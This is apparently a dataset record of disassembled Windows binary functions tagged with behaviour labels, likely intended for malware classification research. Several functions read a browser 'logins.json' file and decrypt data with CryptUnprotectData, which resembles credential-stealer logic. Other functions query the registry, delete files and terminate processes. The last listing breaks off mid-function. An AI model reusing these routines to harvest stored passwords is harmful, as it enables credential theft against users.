joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180091490
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x60
mov rdx, qword [rcx + 0x10]
mov rbx, rcx
xor esi, esi
mov qword [rsp + 0x58], 0xf
add rdx, 0xc
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x40], sil
call fcn.1800ba640
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x1800914d1
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rsp + 0x40]
call fcn.1800b8790
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x40]
call fcn.1800b8790
lea rax, [rsp + 0x40]
cmp rbx, rax
je 0x18009154d
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18009153a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180091535
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800916da
mov rcx, r8
call fcn.1800c1180
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
jmp 0x18009158a
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18009158a
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091585
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800916da
call fcn.1800c1180
cmp qword [rbx + 0x18], 0x10
mov rcx, rbx
jb 0x180091597
mov rcx, qword [rbx]
lea rdx, [0x180103ec0]
call fcn.1800c9258
test rax, rax
je 0x18009167b
mov rcx, rax
mov qword [rsp + 0x78], rdi
call fcn.1800c92e8
mov ecx, 0x186a0
call fcn.1800c9194
cmp qword [rbx + 0x18], 0x10
mov rdi, rax
mov rcx, rbx
jb 0x1800915d3
mov rcx, qword [rbx]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 4
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x18009161c
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rsi
mov r8d, 0x186a0
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180091656
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180091651
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800916ce
mov rcx, r8
call fcn.1800c1180
mov rax, rdi
mov qword [rbx + 0x10], rsi
mov rdi, qword [rsp + 0x78]
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rsi
ret
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1800916b1
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800916ac
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800916d4
mov rcx, r8
call fcn.1800c1180
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rsi
ret
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
Function at 0x1800a8d20
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x80
mov r8, qword [0x180119590]
mov rsi, rcx
mov rcx, qword [0x180119598]
xor ebx, ebx
cmp r8, rcx
jne 0x1800a8d55
mov qword [rsi], rbx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
jmp 0x1800a8f05
mov qword [rsp + 0x90], rbp
xorps xmm0, xmm0
mov qword [rsp + 0x98], rdi
mov r10, rbx
mov qword [rsp + 0xa0], r14
mov rdi, rbx
mov r14, rcx
mov qword [rsp + 0x70], rbx
sub r14, r8
movdqu xmmword [rsp + 0x60], xmm0
sub r14, 1
je 0x1800a8ddb
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1800a8f1f
mov rdx, r14
lea rcx, [rsp + 0x60]
call fcn.1800ba850
mov rbp, qword [rsp + 0x60]
mov r8, r14
mov rcx, rbp
xor edx, edx
call fcn.1800c3fd0
mov rcx, qword [0x180119598]
lea r9, [r14 + rbp]
mov r8, qword [0x180119590]
mov r10, rbp
mov rdi, qword [rsp + 0x70]
jmp 0x1800a8de5
mov r9, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov edx, 1
sub rcx, r8
sub rcx, rdx
je 0x1800a8e0f
movzx eax, byte [r8 + rdx]
mov byte [r10 + rdx - 1], al
lea rdx, [rdx + 1]
sub rcx, 1
je 0x1800a8e0f
mov r8, qword [0x180119590]
jmp 0x1800a8df2
sub r9d, ebp
mov qword [rsp + 0x58], rbp
inc r9d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], r9d
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1800a8eae
mov rcx, rbp
mov qword [rsp + 0x68], rcx
cmp dword [rsp + 0x40], ebx
jbe 0x1800a8ea1
nop word [rax + rax]
mov r8d, ebx
add r8, qword [rsp + 0x48]
cmp rcx, rdi
je 0x1800a8e7d
movzx eax, byte [r8]
mov byte [rcx], al
inc rcx
mov qword [rsp + 0x68], rcx
jmp 0x1800a8e94
mov rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.1800b9790
mov rcx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
inc ebx
cmp ebx, dword [rsp + 0x40]
jb 0x1800a8e60
mov rbp, qword [rsp + 0x60]
mov qword [rsi], rbp
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdi
jmp 0x1800a8eed
mov qword [rsi], rbx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
test rbp, rbp
je 0x1800a8eed
sub rdi, rbp
mov rax, rbp
cmp rdi, 0x1000
jb 0x1800a8ee2
mov rbp, qword [rbp - 8]
add rdi, 0x27
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8f19
mov rdx, rdi
mov rcx, rbp
call fcn.1800c1180
mov rdi, qword [rsp + 0x98]
mov rbp, qword [rsp + 0x90]
mov r14, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0xa8]
mov rax, rsi
add rsp, 0x80
pop rsi
ret
call fcn.1800cc350
int3
call fcn.1800ba600
int3
Function at 0x1800a8f30
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x230
xor r13d, r13d
mov rbx, r8
mov rsi, rdx
mov r12, rcx
cmp r8, r9
je 0x1800a9007
mov r15, qword [r9]
mov r14, qword [r9 + 8]
mov rdi, qword [r8]
sub r14, r15
mov rdx, qword [r8 + 0x10]
sub rdx, rdi
cmp r14, rdx
jbe 0x1800a8ff1
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1800a90fd
mov rcx, rdx
shr rcx, 1
sub rax, rcx
cmp rdx, rax
jbe 0x1800a8f9b
mov rbp, r14
jmp 0x1800a8fa6
lea rbp, [rcx + rdx]
cmp rbp, r14
cmovb rbp, r14
test rdi, rdi
je 0x1800a8fe3
cmp rdx, 0x1000
jb 0x1800a8fd0
mov rcx, qword [rdi - 8]
add rdx, 0x27
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x1800a9103
mov rdi, rcx
mov rcx, rdi
call fcn.1800c1180
mov qword [rbx], r13
mov qword [rbx + 8], r13
mov qword [rbx + 0x10], r13
mov rdx, rbp
mov rcx, rbx
call fcn.1800ba850
mov rdi, qword [rbx]
mov r8, r14
mov rdx, r15
mov rcx, rdi
call fcn.1800c41f0
lea rax, [r14 + rdi]
mov qword [rbx + 8], rax
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
mov dword [rsp + 0x288], 0x200
jb 0x1800a901f
mov rdx, qword [rsi]
lea rax, [rsp + 0x288]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rsp + 0x30]
mov rcx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800a909d
mov rdi, r13
cmp dword [rsp + 0x288], edi
jbe 0x1800a909d
nop word [rax + rax]
mov rdx, qword [rbx + 8]
movzx eax, byte [rsp + rdi + 0x30]
mov byte [rsp + 0x280], al
cmp rdx, qword [rbx + 0x10]
je 0x1800a907e
mov byte [rdx], al
inc qword [rbx + 8]
jmp 0x1800a908e
lea r8, [rsp + 0x280]
mov rcx, rbx
call fcn.1800b9790
mov eax, dword [rsp + 0x288]
inc rdi
cmp rdi, rax
jb 0x1800a9060
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800a90d3
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800a90ce
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800a9103
mov rcx, r8
call fcn.1800c1180
mov rbx, qword [rsp + 0x270]
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r13b
add rsp, 0x230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800ba600
int3
call fcn.1800cc350
int3
Function at 0x1800af280
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0xa0
lea rdx, [0x180116f18]
lea rcx, [rsp + 0x80]
call fcn.1800b8a30
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.18008a760
lea rcx, [rsp + 0x40]
mov rbx, rax
call fcn.18008d270
mov r8, qword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rax, rdx
sub rax, r9
cmp r8, rax
jbe 0x1800af2f3
mov rax, qword [rbx + 0x18]
sub rax, r8
cmp rax, r9
jb 0x1800af2f3
cmp rdx, 0x10
jb 0x1800af2e6
mov rcx, qword [rcx]
mov r8, rcx
mov rcx, rbx
call fcn.1800ba920
jmp 0x1800af305
cmp qword [rbx + 0x18], 0x10
jb 0x1800af2fd
mov rbx, qword [rbx]
mov rdx, rbx
call fcn.1800b8790
movups xmm0, xmmword [rax]
xor ebx, ebx
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov byte [rax], bl
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800af363
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800af35e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af435
call fcn.1800c1180
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
cmp rdx, 0x10
jb 0x1800af3b3
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800af3ae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af435
call fcn.1800c1180
cmp qword [rsp + 0x38], 0x10
lea rcx, [rsp + 0x20]
cmovae rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800af3ed
test al, 0x10
je 0x1800af3ed
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x80]
call fcn.1800b8a30
mov rcx, rax
call fcn.1800adf40
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x1800af426
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800af421
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800af42f
call fcn.1800c1180
add rsp, 0xa0
pop rbx
ret
call fcn.1800cc350
int3
call fcn.1800cc350
int3
Function at 0x1800b9ff0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1800ba024
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1800ba010
ret
Function at 0x1800d3f7c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1800d3f9c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1800cb684
or eax, 0xffffffff
jmp 0x1800d3f9e
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800d6b08
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x1800d6ae5
call fcn.1800cb6f4
mov dword [rax], 0x16
call fcn.1800cc330
or eax, 0xffffffff
jmp 0x1800d6b02
sub dword [rcx + 0x10], 1
jns 0x1800d6af4
add rsp, 0x28
jmp 0x1800e0fec
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x1800d6ac4
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x1800e101e
call fcn.1800cb6f4
mov dword [rax], 0x16
call fcn.1800cc330
jmp 0x1800e113b
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1800e113b
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1800e113b
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1800e104d
lock or dword [rcx + 0x14], 0x10
jmp 0x1800e113b
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1800e1061
call fcn.1800e415c
mov rbx, qword [rdi + 8]
mov rcx, rdi
mov qword [rdi], rbx
call fcn.1800d3ba4
mov r8d, dword [rdi + 0x20]
mov ecx, eax
mov rdx, rbx
call fcn.1800e3064
mov dword [rdi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1800e1129
mov eax, dword [rdi + 0x14]
or esi, 0xffffffff
test al, 6
jne 0x1800e10f4
mov rcx, rdi
call fcn.1800d3ba4
cmp eax, esi
je 0x1800e10df
mov rcx, rdi
call fcn.1800d3ba4
cmp eax, 0xfffffffe
je 0x1800e10df
mov rcx, rdi
call fcn.1800d3ba4
movsxd rbx, eax
lea r14, [0x180118a60]
mov rcx, rdi
sar rbx, 6
call fcn.1800d3ba4
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1800e10e6
lea rdx, [0x180114460]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1800e10f4
lock or dword [rdi + 0x14], 0x20
cmp dword [rdi + 0x20], 0x200
jne 0x1800e1118
mov eax, dword [rdi + 0x14]
shr eax, 6
test al, 1
je 0x1800e1118
mov eax, dword [rdi + 0x14]
shr eax, 8
test al, 1
jne 0x1800e1118
mov dword [rdi + 0x20], 0x1000
add dword [rdi + 0x10], esi
mov rax, qword [rdi]
movzx esi, byte [rax]
inc rax
mov qword [rdi], rax
jmp 0x1800e113e
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rdi + 0x14], eax
and dword [rdi + 0x10], 0
or esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, esi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x1400020b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x1400021ab
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x1400021b3
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400021ea
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x1400021c0
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x140002215
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x14000223b
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x140002220
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a350
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14002d008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a395
xor al, al
jmp 0x14000a3e2
cmp word [rbx], 0
je 0x14000a3ad
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a3a0
cmp word [rsp + 0x30], 0
je 0x14000a3db
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a403
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a3c0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b690
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000f794
int3
Function at 0x14000ad00
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001f110
sub rsp, rax
mov rax, qword [0x14002d008]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002ed90]
lea rsi, [0x140039dc0]
mov rdi, rcx
test r11d, r11d
jne 0x14000ad79
mov r8d, 0x1000
lea rdx, str._HOME_
lea rcx, [rsp + 0x20]
call fcn.14000a410
test al, al
je 0x14000ae5f
lea rcx, [rsp + 0x20]
call fcn.140013d9c
movsxd r11, dword [0x14002ed90]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002ed90], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000adb4
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ada4
add rax, 2
test ecx, ecx
jne 0x14000ad90
test edx, edx
je 0x14000add7
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ad84
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000adc0
cmp rax, 2
jne 0x14000addb
cmp word [rdi + 2], 0x3a
jne 0x14000addb
mov al, 1
jmp 0x14000ae3e
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000ae08
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000ae08
mov bl, 1
jmp 0x14000ae0c
test bl, bl
je 0x14000ae33
cmp dword [0x14002ed90], 0x400
jge 0x14000ae33
mov rcx, rdi
call fcn.140013d9c
movsxd rdx, dword [0x14002ed90]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002ed90], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000b690
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str._HOME_
call fcn.14000ab50
int3
Function at 0x14000af80
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002ed98]
test rcx, rcx
je 0x14000afbb
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000afae
mov rcx, qword [0x14002ed98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002ed98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14003ddf0], 0
je 0x14000b0ae
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140028970]
mov qword [rsp + 0x80], rsi
lea rsi, [0x1400375c0]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b08f
test al, 0x10
je 0x14000b08f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b035
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000bf98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bfe2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bfe2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bfe2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bfe2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bfe2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bfe4
xor al, al
add rsp, 0x28
ret

Function at 0x14000f788
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f5f3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f5f3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f5f3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f5f3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f5f3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f5f3
cmp dword [rcx + 0xf8], 0
je 0x14000f5f3
mov ecx, ebx
call fcn.14000f6a4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f480
nop
cmp dword [rbp + 0x20], 0
je 0x14000f641
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f64c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f584
Function at 0x140018b98
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140018c1f
mov rsi, rbx
cmp word [rax], bp
je 0x140018bde
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140018bc8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140018bc4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400163c8
mov rdi, rax
test rax, rax
je 0x140018c0c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000d560
mov rbp, rdi
xor ecx, ecx
call fcn.1400154d8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001ad8c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001ada2
mov al, 1
jmp 0x14001ae02
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001adb3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001ae00
mov ecx, dword [rcx + 0x18]
nop
call fcn.140018ee0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001ae00
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001ae00
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001ae00
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001ae02
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f020
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f048
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f048
xor eax, eax
mov ecx, 0x20b
